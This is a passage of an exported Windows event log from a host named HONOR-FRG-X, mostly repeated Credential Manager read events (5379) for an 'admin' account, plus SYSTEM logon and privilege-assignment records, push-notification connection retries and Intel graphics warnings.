ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.626\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.626\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.802\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xc38\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.811\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:20.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:34:41.487\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:41.488\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:41.488\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.270\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.270\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.277\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.277\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.063\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:25.430\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:35:27.546\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.546\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.546\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.561\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.578\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.591\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.679\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.679\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.291\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:35:36.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:36.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:36.455\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.456\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.476\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.476\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.701\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:36.701\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:39.921\t505\t\"Compatibility fix applied to C:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe.\nFix information: Microsoft Apps, {15a89f9e-4f3e-4aa2-b026-7271def4f208}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:35:39.921\t505\t\"Compatibility fix applied to C:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe.\nFix information: Microsoft Apps, {f4db680c-9c1e-4a31-b6b0-3be6bfd4f55f}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:35:40.450\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:35:40.450\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:40.450\t566\t\"The system session has transitioned from 0 to 1.\n\nReason SessionUnlock \n\nBootId: 82\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:35:40.451\t506\t\"The system is entering Modern Standby \n\nReason: Idle Timeout.\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:35:40.591\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.594\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.594\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.848\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x10c4\n\tProcess Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.113\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:41.118\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"LockApp\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:41.223\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.223\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.305\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.305\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.591\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual 